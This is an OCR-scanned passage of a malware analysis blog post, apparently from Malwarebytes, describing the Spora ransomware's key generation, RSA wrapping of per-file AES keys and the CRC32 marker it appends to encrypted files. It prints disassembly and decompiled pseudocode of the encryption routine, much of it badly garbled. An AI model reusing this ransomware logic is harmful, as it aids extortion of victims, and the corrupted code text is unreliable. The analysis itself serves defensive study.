FUSH EBX

FPUSH [ARG. 251

MOU EST, G:x 26

MOV [[ARG.271,ESI

CALL DWORD PTR DZ:[<&ADVAPISZ. CryptErportkew ]
TEST ERX,EAX

JE spora_un.B8848525F

PUSH ESI

MOV ESI,OWORD PTR O5: [<&ADUVAPIZZ. CryptEncrupt>]
LER ERX,[ARG.Z27]

FLIZH
LEA EAX. [LOCAL.S]
FlIZH E

EEx
EE?RD FTR DS:[Ex4B8996]

HAES_z2E&
aduvapid2. CryptGenkey

aduvapi32. CryptEncrupt
advap g2, CryptExportkey

aduvapid2. CryptEncrupt
aduvapid2. CryptEncrupt

advap 132, CryptEncrypt; <&A0OVARPISZ. CryptEncrypt >

Stack address=BE12FE4C
ERHE=B812FE4C

Address |Hew dump RSCIT

HEIZFE4C| B8 B2 0P BH) 10 &6 BB BH) 20 BE B0 09 7B 19 70 Fr O8..M.. ... T4},
@E1ZFEEC|EF 93 FF 9C| A2 EF 49 BE|B4 C3 237 P4 62 48 28 C7 Wiavs_I2d FFAbHES
@E1ZFEEC| 2R &A FE 23 1IF CE 33 CB/CC FE 7O 9@ SF 3B 27 08| #js9¥43tfmpEC; ',
AA1ZFEFC|9F AL B0 76 11 A6 BD F&| 9C 45 40 @@ 3C FE 12 88| &i.u42, vrEE. vas,
HAEA1ZFESC|EB FE 12 @@ 74 FE 12 8@ BF 3B 27 B@|C4 FF 12 08| Ged.tmd. C;".— .,
BE1ZFEZC| 65 E1 C3 75 A@ 13 &4 B3 FE FF FF FF| S8 B8 4F B8 cf tuslides PO,
9O1ZFEAC| B3 B0 9 98 36 14 25 99 FE CC 26 99 09 98 08 9| ..o, *Ft. ...,

The generated AES key is used to encrypt the victim's data (including the private key from the generated pair):
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BE485170 FUSH EBEX

GE4HE 1 FE FUSH DWORD PTR DO5: [Ex486996]
CALL ESI aduapi22.CruptEncrypt; <&ADUAFIZZ.CruptEncrypt >

CIE4HE 125 FUSH [[ARG. 281 String = "M-———- BEGIM RSA PRIVATE KEY-————— ~r~nBwIAAF
CALL DWORD PTR DS:[<&KERMELZZ2. lstrlenA>] letilenA

BE4EE12F ArD EAX, BxFFFFFFER

BE485192 ACD ERE, 6= 28

BE4851 35 PUSH ERH

BE4EE 126 MOV [[ARG. 261, EAX

BE485139 LEA ERH, [ARE.Z2E]

EIESEE 130 FLSH ERX

Ba485120 FUSH [ARE. 381

BE4EE 1 AR FLUSH EBX

Ba4a51A1 FLUSH EBX

BE4E51A2 FPUSH EBH

BE485 1A FUSH [[ARG. 251

HHS CALL ESI advapi32. CryptEncrypt

4|

kY iHtEgksUpBnE-L-c™]

Stack S5:[0812FEER]=BGZ2737FE, (ASCII ""———— EESIM RSA PRIVATE KEY--——- ~r~nEWIARACK ARESUBEYARRARREARGESKgLE

Address [Hed dump ASCII

BE2FEYFE| 20 20 20 20| 20 42 45 47|49 4E 28 52|52 41 28 56| ———— EEGIM RSA P

BEZFISE2) E2 49 B6 41|54 45 28 4B\ 45 59 20 20| 20 20 20 60| RIVATE KEY---——- 0
BE272212)BA 42 F7 4341 41 41 42| cB 41 41 42/ 52 EE 28 45| .BwIAQACKAAESUGE
BEZFIE22) 73 41 41 E1/41 41 41 45/ 41 41 E1 42/ 29 4B 71 4C| wARIARAEAARESK gL
BEZ73232) 42 55 67 56| Fe 24 32 V8|28 58 4F Y7 64 65 6B 75| BUgludZpSnlwdeky
BE2T2242) 42 6B §6 BB 22 77 44 49| YE G4 40 25/ 46 VB 29 CE| HRUUSWDIWTLEFpIL
BEZFISES) &7 B0 BA &6 &2 72 F2 40|69 &2 &0 58|49 4F FE 490 a..fherMibmPIOWT
BE2TI2E2) T4 67 44 4B/ B 24 4B 44| 61 41 B YA/ EA &7 V1 &l1| taDkk4kKDarkzZaga
BEZFIEFE) 51 4C 41 5@ 29 P4 VA FR|SE 48 T4 &R 73 &0 &5 &5l GLAPSupzUHE jimee
BEZTISSR) &3 B4 48 20| 72 44 67 FF 49 37 2F 22|56 42 TA 45| iTHArDgwlI7 2UCRE
BEZFEE92) 7Y 5@ 52 B0 6A 4B E5 42|40 ¥4 62 4C) 51 47 24 45| wPR. .EUBJtbLEAG4E
BE2FISAS) 7Y 6 T2 42/ 45 22 40 62| 5B 4C EE £2| &7 e &9 ZF|wisHES ol Uoaiis
BEZFTIEES) 61 45 32 P71 4E 8 VP 35 61 41 &2 6E B9 &B &F| aE2ugMuwSaRbntko
BE2722CE| &4 4E 44 22| cB 2F B9 cA| 42 ¥4 45 &F | 4B 2 EE VO] dMD2k-ViHtEaksUp

The prepared encrypted content is merged into one data block. First, the AES encrypted victim's data is copied.

After that follows the RSA encrypted AES key (selected on the below picture):

BE4E51CS (| . [MOU EDI, ERX
BE4E51CE (| . MOV [CARGEE4] , EDI
BE4E51C28 (| . [CHMP EDI, EBEX
BE4E51CH (| .| JE spora_un.B84E52EF
BE4Es10E (| . [ PUSH CHRG.2E61
gE4asin: (| . [ PUSH [CARG.2E]
BE4Es10e (| . [ PUSH EDI

. |EALL DWORD PTR DS: [@x40e93E] ntdl L. mencpy
BE4Es100 (| . [ PUSH CARG.2¥]
EE4ES1EE (| . |LER ERX, CLOCAL.ST
BE4E51ES (| . [ PUSH ERX
BE4E51E4 (| . [ MOU ERX, CARGZE]
BE4EsiEY (| . [ ADD EAX, EDI
GE4ES1ES (| . [ PUSH EAX

. |EALL DWORD PTR DS: [Ax4BE93E] ntdl L. memcpy

MOW ECH. [ARG. 261

. |HOD ESP,Exls
BE4E51Fs (| . (LER ERX, CARG.ZS]
BE4E51FS (| . [ PUSH ERX
BE4E51FA (| . [ MOV ERX, CARGREF]
BE4E51FD || . [PUSH EBX
BE4ES1FE || . [PUSH Bx1
BE4E52EE || . [ADD ECH, EAX
BE4E5282 || . [PUSH ECH

HE4EEZ2ES . |FUSH EDI
IEEENESEEE | . | MOU EDT, DWORD PTR DS:[<&CRYPT3Z.CruptBinaryToSty crupt3Z. CruptBinaruToStrinaf
4

Stack S5S5:[BE1ZFEDS 1=000EEICEH
EC=00BE8a0EE

Address [ Hen dump ASCII

GEZ7FEEE| AD 17 3C 24/ YB CF AS 2F 41 D& 37 EA BC 8l OF 50| ¢$#<&La0-AivsY om]
GEZ7YFECH| 12 88 64 92 E1 20 96 SF 2F AE B4 74 FS 4F C1 32| ICArGo#PS-3 o042
EEZ7FE0E|FS 9E ES C2 16 88 99 92 1E PA 35 &5 BA A& 2A DE| "xR“k.i (hzCe|| 248
GEZ7FEEE| 19 BE BS 23 BS AD 1@ 29 52 48 EE DB A2 SA IC CE|4+253Ask)1SE0362+
GEZ7FEFE| DA 16 Bl 2E 268 42 EE 9B AR 29 26 E7Y 4B 78 C1 36| r-@ACELT 28Zkptc
GEZ7FEEE| 62 D& AF EC 27 C9 19 BO 87 CF 32 BE 3E 94 CA 79| bi-d'Fd2 - 022 24%y
GEZ7VE1E| 91 FE 48 CF 85 72 8F A8 D4 22 OF 42 ED 12 08 FD| CuHSArx5d2MEw$&E
GEz77e2E| 15 PR FA 2E 82 S8E ES 51 22 24 @C 5@ E9 53 FF 82| Bz »SANE"4 . PUSwd
GEZ7VEEE 18 18 16 BA ¥r CA FO F4 93 AC OF 9A 24 B8 BE AC| ++-.w=r—oCIuZsAc
EEZ7VE4E| 11 6B 4F 98 83 12 40 A4 EE FD 22 4F B3 99 FEB 70| AkGEETHARE™D |G}
GEZ7VEEE| D7 1B 84 9C D4 88 44 9E 32 B3 22 32 28 43 B4 SE| i+and.0=2|"e CHA
GEz77ecE D4 1E 41 2B DA 51 B4 62 E1 CD Bé F2 24 EE AR AS|4'4A; rATbE=A~ 3t 3
GEZ7VEYE| D4 FEB BF &C F1 17 68 78 SF 22 4R 3B BF 89 &5 &C | d{xl~$ha7v3);qEel
GEZ7VEEE| EY FF BC 2C B0 B2 FC &1 &3 2F @D 82 74 SC 23 10| £a1, .5lac~ Bt iis
BEZTPeSE| 24 83 OB B9 SE 40 B0 B8 BE T8 28 68 B3 34 27 66 5V GER0LS40.

e e |, e | e, P | R d mm e mm R od e

This merged data is stored in the .KEY file (or in the hidden, base64 encoded content in the ransom note). It needs
to be uploaded to the server by the victim - that's how the attackers get access to the data necessary to decrypt files

after the ransom is paid.
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Spora does not change files' extensions, so it needs some other method of identifying whether or not the individual

file is encrypted. It is done by reading some fragments of the content.

pFile = CreateFileW{lpFileHame, BxCOBBBB6O, 1u, B8, 3u, 128u, B8);
if { pFile *= (HAHDLE)}-1 )
{
FileSizeHigh = B8;
file_size = GetFileSize(pFile, &FileSizeHigh});
if { file size »= 32
&& SetFilePointer{pFile, -132, 8, 2u) *= -1// -132 characters from FILE_EHND
&b ReadFile{pFile, &Buffer, 128u, &HumberOfBEytesRead, @)
&& HumberOfBytesHead == 128
&& ReadFile{pFile, & crc32, Wu, &MumberOfBytesRead, @)
&& HumberOfBytesRead == 4 )

{
buffer crci3? = RtlComputeCrc32{8, &Buffer, 128);
if { buffer_crc3? == crci2 )
{
status = 2; // File is encrypted
H
else
{ // perform file encryption

As we can see above, the 132 bytes at the end of the file are reserved for the data stored by Spora: 128 byte long
AES key followed by its 4 byte long Crc32. In order to decide if the file is encrypted or not, data at the file's end is
read and the saved Crc32 is compared with the computed Crc32 of the read 128 bytes. If the check passed, Spora

finishes processing the file. Otherwise, it follows with the encryption:

ul = CreateFileMappingW({pFile, @, bu, B8, duMaximumSizelLow, @);
hObject = vi;
if ( vbs )
{
file view = (BYTE =)}MapUiewDfFile({v4, 6u, 8, 8, duHaximumSizeLow});
if ( file_view )
{
if ( CryptGenKey(®, Bx6610u, 1u, &phHey) )// Bx6618 -> CALG_AES_256
{

bufsSize = 128;

if ( CryptExportKey{phkey, @, 8u, B8, {(BYTE =)&aes_key, &bufSize)// export generated AES key
&& CryptEncrypt(®, 8, 1, 8, {BYTE =)&aes key, &bufSize, 128u)// encrypt generated AES key
&& CryptEncrypt{phKey, 8, 8, 8, file view, &duMaximumSizelow, dwMaximumSizeLow) }// encrypt file content
_crced?2 = RtlComputeCrc32(@, &aes key, 128);
SetFilePointer(pFile, 8, @, 2u);// set pointer at FILE_EHD
WriteFile{pFile, &aes_key, 128u, &bufSize, 8);
WriteFile{pFile, & crc32, Ju, &bufSize, @);
status = 1;

H

CryptDestroyKey{phKey);

H
UnmapViewdfFile{file_view};

For each file, a new, individual AES key is generated. It is used to encrypt mapped file content. The exported
representation of the individual key is encrypted by the previously generated RSA key and then stored at the end
of the encrypted file. After that, it's Crc32 is being computed and also stored at the end.

Conclusion

Spora is an interesting ransomware, for sure created by authors with programming experience. However, the code
is not obfuscated and the execution is very noisy in comparison to other malware - it may suggest that the authors

are not professional malware designers (in contrary to i.e. authors of Cerber).

The used cryptography implementation seems to have no flaws that would allow for decrypting attacked files

without paying the ransom, so, we recommend focusing on prevention. Users with Malwarebytes 3.0 installed will
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be protected from Spora ransomware. While there currently is no decryption for those infected we suggest keeping

a backup of the infected files as there might be a decrypter in the future.
Appendix

https://gist.github.com/coldshell/6204919307418c58128bb01baba6478f - Spora ID decoder

https://www.bleepingcomputer.com/news/security/spora-ransomware-works-offline-has-the-most-sophisticated-

payment-site-as-of-yet/ - Bleeping Computer about Spora

This was a guest post written by Hasherezade, an independent researcher and programmer with a strong interest

in InfoSec. She loves going in details about malware and sharing threat information with the community. Check

her out on Twitter @hasherezade and her personal blog: https://hshrzd.wordpress.com.

Source: https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware/
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